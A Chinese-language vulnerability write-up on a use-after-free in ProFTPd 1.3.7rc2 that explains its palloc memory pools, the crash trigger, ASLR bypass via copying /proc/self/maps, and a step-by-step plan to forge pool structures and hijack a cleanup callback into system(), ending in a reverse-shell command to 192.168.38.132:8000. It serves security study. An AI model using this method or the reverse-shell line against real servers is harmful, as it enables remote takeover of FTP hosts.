漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。
漏洞修复:https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本:小于v1.3.7rc3
测试版本:v1.3.7rc2
保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)
调试环境/目标机器:ubuntu 18.04
ProFTPd源码编译及部署:
`// 安装依赖 apt-get install -y build-essential net-tools git // 源码下载 git clone https://github.com/proftpd/proftpd.git // 切换到存在漏洞分支 git checkout -b 1.3.7rc2 v1.3.7rc2 // 生成Makefile文件,带gdb调试信息 ./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl // 编译 make -j4 // 打包 apt install -y checkinstall // 含debug信息 checkinstall -D \ --pkgname='ProFTPd' \ --pkgversion="1.3.7rc2" \ --maintainer="yuanyue@qianxin.com" \ --install=no \ --strip=no \ --stripso=no `
创建匿名用户:
`groupadd ftp #添加ftp组 useradd ftp -g ftp -d /var/ftp #添加ftp用户 passwd ftp #设置匿名ftp用户密码为ftp `
proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf
这个文件,将以下内容写入。
`# This is a basic ProFTPD configuration file (rename it to # 'proftpd.conf' for actual use. It establishes a single server # and a single anonymous login. It assumes that you have a user/group # "nobody" and "ftp" for normal operation and anon. ServerName "ProFTPD Default Installation" ServerType standalone DefaultServer on # Port 21 is the standard FTP port. Port 21 # Umask 022 is a good standard umask to prevent new dirs and files # from being group and world writable. Umask 022 # To prevent DoS attacks, set the maximum number of child processes # to 30. If you need to allow more than 30 concurrent connections # at once, simply increase this value. Note that this ONLY works # in standalone mode, in inetd mode you should use an inetd server # that allows you to limit maximum number of processes per service # (such as xinetd). MaxInstances 30 # Set the user and group under which the server will run. User nobody Group nogroup # To cause every FTP user to be "jailed" (chrooted) into their home # directory, uncomment this line. #DefaultRoot ~ # Normally, we want files to be overwriteable. <Directory /> AllowOverwrite on </Directory> # A basic anonymous configuration, no upload directories. If you do not # want anonymous users, simply delete this entire <Anonymous> section. <Anonymous ~ftp> User ftp Group ftp # We want clients to be able to login with "anonymous" as well as "ftp" UserAlias anonymous ftp # Limit the maximum number of anonymous logins MaxClients 10 # We want 'welcome.msg' displayed at login, and '.message' displayed # in each newly chdired directory. DisplayLogin welcome.msg #DisplayFirstChdir .message # Limit WRITE everywhere in the anonymous chroot #<Limit WRITE> # DenyAll #</Limit> </Anonymous> `
如果有/usr/etc/proftpd.conf
这个文件,则注释掉下面三行配置,允许匿名用户上传文件。
`#<Limit WRITE> # DenyAll #</Limit>`
启动proftpd服务:
`// 直接执行 /usr/sbin/proftpd `
gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。
`gdb /usr/sbin/proftpd \ -ex "set detach-on-fork on" \ -ex "set follow-fork-mode child" \ -ex "set breakpoint pending on" \ -ex "b xfer_stor" \ -ex "b pr_data_xfer" \ -ex "b pr_data_abort" \ -ex "b _exit" `
proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。
proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。
`#define CLICK_SZ (sizeof(union align)) `
CLICK_SZ
是一个宏,代表内存对齐的长度,64位系统的值为8。
`union block_hdr { union align a; /* Padding */ #if defined(_LP64) || defined(__LP64__) char pad[32]; #endif /* Actual header */ struct { void *endp; union block_hdr *next; void *first_avail; } h; }; `
每一个通过alloc_pool()
或者make_sub_pool()
函数分配的内存块,都一个union block_hdr
,是用来描述当前内存块的状态。
h->endp:指向当前内存块的末尾地址。
h->next:指向内存块链表的下一个内存块。
h->first_avail:指向当前内存块空闲区域的首地址。
`struct pool_rec { union block_hdr *first; union block_hdr *last; struct cleanup *cleanups; struct pool_rec *sub_pools; struct pool_rec *sub_next; struct pool_rec *sub_prev; struct pool_rec *parent; char *free_first_avail; const char *tag; }; `
struct pool_rec
是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。
first:当前pool链表中,第一个pool的指针。
last:当前pool链表中,最后一个pool的指针。
cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。
sub_pools:指向当前pool的sub pool。
sub_next:指向当前pool的后一个pool。
sub_prev:指向当前pool的前一个pool。
parent:指向当前pool的父pool。
free_first_avail:指向当前pool内存块的可分配首地址。
tag:可以理解为pool的标签或者名称,比如session pool、table pool。
alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。
`static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) { // 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz /* Round up requested size to an even number of aligned units */ size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ); size_t sz = nclicks * CLICK_SZ; union block_hdr *blok; char *first_avail, *new_first_avail; /* For performance, see if space is available in the most recently * allocated block. */ // 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL blok = p->last; if (blok == NULL) { errno = EINVAL; return NULL; } // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail first_avail = blok->h.first_avail; // 如果请求分配内存大小reqsz为0,函数直接返回NULL if (reqsz == 0) { /* Don't try to allocate memory of zero length. * * This should NOT happen normally; if it does, by returning NULL we * almost guarantee a null pointer dereference. */ errno = EINVAL; return NULL; } // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址 new_first_avail = first_avail + sz; // 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。 if (new_first_avail <= (char *) blok->h.endp) { blok->h.first_avail = new_first_avail; // 并更新当前内存块blok的空闲区域首地址 return (void *) first_avail; } /* Need a new one that's big enough */ pr_alarms_block(); // 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中 blok = new_block(sz, exact); p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok p->last = blok; // 将新申请的blok添加到当前pool的内存块链表的末端 // first_avail指向新申请的blok空闲区域首地址 first_avail = blok->h.first_avail; // 计算所需内存大小sz的末尾地址,也就是新的first_avail地址 blok->h.first_avail = sz + (char *) blok->h.first_avail; pr_alarms_unblock(); return (void *) first_avail; } `
new_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。
`static union block_hdr *new_block(int minsz, int exact) { union block_hdr **lastptr = &block_freelist; union block_hdr *blok = block_freelist; // exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用 if (!exact) { minsz = 1 + ((minsz - 1) / BLOCK_MINFREE); minsz *= BLOCK_MINFREE; } // 遍历block freelist是否有符合要求的block,有则返回符合要求的block while (blok) { if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) { *lastptr = blok->h.next; blok->h.next = NULL; stat_freehit++; return blok; } lastptr = &blok->h.next; blok = blok->h.next; } // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请 /* Nope...damn. Have to malloc() a new one. */ stat_malloc++; return malloc_block(minsz); } `
malloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息。
h.next置空。
h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。
h.endp指向内存新内存块的block地址结尾。
`static union block_hdr *malloc_block(size_t size) { // 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小 union block_hdr *blok = (union block_hdr *) smalloc(size + sizeof(union block_hdr)); // 更新新内存block的头信息 blok->h.next = NULL; blok->h.first_avail = (char *) (blok + 1); blok->h.endp = size + (char *) blok->h.first_avail; return blok; } `
make_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,
`struct pool_rec *make_sub_pool(struct pool_rec *p) { union block_hdr *blok; pool *new_pool; pr_alarms_block(); // 创建一个512字节的内存块 blok = new_block(0, FALSE); // new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小 new_pool = (pool *) blok->h.first_avail; blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail; // 给new_pool的头初始化为0 memset(new_pool, 0, sizeof(struct pool_rec)); new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok // 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools if (p) { new_pool->parent = p; new_pool->sub_next = p->sub_pools; // 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前 if (new_pool->sub_next) new_pool->sub_next->sub_prev = new_pool; // 将new_pool插入到p的sub_pools里 p->sub_pools = new_pool; } pr_alarms_unblock(); return new_pool; } `
为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。
`echo 0 > /proc/sys/kernel/randomize_va_space `
然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X
。
`/usr/sbin/proftpd -X -n -d10 `
poc大致步骤:
第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。
第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。
第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。
第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()
调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。
漏洞触发:
proftpd debug模式运行的崩溃界面,
在gdb调试环境里看到的崩溃堆栈,
前提条件:需要proftpd支持mod_copy模块,执行configure
文件时加上--with-modules=mod_copy
参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr
为拷贝,site cpto
为粘贴。
绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps
来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr
,但是没法直接下载/proc/self/maps
文件,所以将/proc/self/maps
拷贝到/tmp目录下,然后把/tmp/maps
文件下载下来,可以得到类似这样的文本内容。
利用思路:类似于在ptmalloc2里,劫持__free_hook
函数指针一样,在proftpd里,通过劫持struct cleanup
里的void (*plain_cleanup_cb)(void *)
函数指针,来控制执行流,从而达到任意命令执行。
不同:在ptmalloc2里,比较常见的是对__free_hook
函数指针进行劫持,来控制执行流,__free_hook
函数指针是一个全局变量,所以__free_hook
的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook
函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。
但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb
这个函数指针,想要篡改plain_cleanup_cb
这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb
的地址并对其写入我们想要的数据。pool_rec->cleanups
是当前释放的内存池pool的管理结构struct pool_rec
的成员,每个pool的管理结构block_hdr
和struct pool_rec
都在heap段,plain_cleanup_cb
的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb
在heap段的地址,就很难稳定的利用对plain_cleanup_cb
劫持来执行任意代码,pool的内存关系可参考下图。
(注:在64位系统里,palloc内存池按8字节对齐分配内存)
任意地址写:cmd->pool
是线程A控制的内容fake_pool,通过伪造cmd->pool
的内容,借用make_sub_pool()
函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()
函数内的pr_table_get()
对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)
函数,res是线程B控制的内容,pstrdup()
函数类似于字符串拷贝,通过将cmd->pool->sub_prev
指向gid_tab
的地址向前一部分的偏移,以此来篡改gid_tab->pool
的地址内容指向cmd->pool - 0x10
的地址,这样在释放gid_tab
时就会同时释放掉gid_tab->pool
,便可调用我们控制的cleanups
,从而达到任意命令执行。
利用步骤:
前三步和漏洞触发流程一样,
第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。
第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。
第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。
从第四步开始有些不同,
第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()
函数里pstrdup(cmd->pool, res)
函数的第二个参数res,构造的内容包含cmd->pool - 0x10
的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_rec
、cleanup_t
、blok_hdr
和反弹shell的命令,后面分别用fake_pool_rec
、fake_cleanup_t
、fake_blok_hdr
和gCmd
来代表,到此,就等待反弹shell吧。
说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。
在上述的利用第四步中,线程B发送的命令,会在poll_ctrl()
函数里第933行调用pr_cmd_read()
读取。
线程A发送的shellcode,会在pr_data_xfer()
函数第1265行被pr_netio_read()
函数读取。
pr_netio_read()
函数的参数cl_buf
,在xfer_stor()
函数第2026行从cmd
分配的sub_pool
,所以线程A发送的shellcode直接占据了pool_rec
及后面的内存,shellcode伪造的内容及关系图如下。
gid_tab
、cmd->pool
、cmd->notes
和cmd->notes->chains
,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。
线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()
函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()
函数, 然后会进入到xfer_exit_ev()
函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()
。然后xfer_exit_ev()
函数会继续调用pr_cmd_dispatch_phase()
到_dispatch()
函数,到了main.c:287行调用make_sub_pool()
函数。
第一个任意地址写,但是写的内容不可控制,在make_sub_pool()
函数里,通过箭头指向的两条语句,任意写的内容是new_pool
的地址,伪造p->sub_pools
指向cmd->notes - 0x10
,这样new_pool->sub_next
等于cmd->notes - 0x10
,new_pool->sub_next->sub_prev
等同于指向cmd->notes->chains
,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb
函数指针写入我们想要的内容,所以第一个任意写内容不可控。
但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()
函数,紧接着调用pr_cmd_get_displayable_str()
函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。
在不篡改cmd->notes->chains
的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)
进入if判断并退出pr_cmd_get_displayable_str()
函数,在篡改完cmd->notes->chains
的情况下,pr_table_get()
函数会返回NULL,继续执行到pstrdup(cmd->pool, res)
,具体细节自行调试。
当我们伪造的fake_pool_rec->sub_prev
字段指向gid_tab-0x90
,伪造res的内容为cmd->pool - 0x10
,恰好在pstrdup(cmd->pool, res)
时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool
的地址为cmd->pool - 0x10
,如此一来gid_tab->pool->cleanups
的地址便指向了cmd->pool->first
,cmd->pool->first
通过构造指向了cmd->pool->first + 0x50
也就是fake_cleanups
,所以当调用pr_table_free(gid_tab)
时,最终会调用到run_cleanups()
函数,参数为fake_cleanups
,fake_cleanups是我们伪造好的,fake_cleanups->data
指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00
,fake_cleanups->plain_cleanup_cb
指向system
的地址,即可通过system函数调用反弹shell命令。
但有一点,fake_blok_hdr->end
必须远大于fake_blok_hdr->first_avail
,建议0x300以上。
执行结果:
有三个必须注意到的点,
建议关闭系统ASLR调试和利用。
gid_tab
、cmd->pool
、cmd->notes
和cmd->notes->chains
,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。
本次利用并不稳定,仅供学习。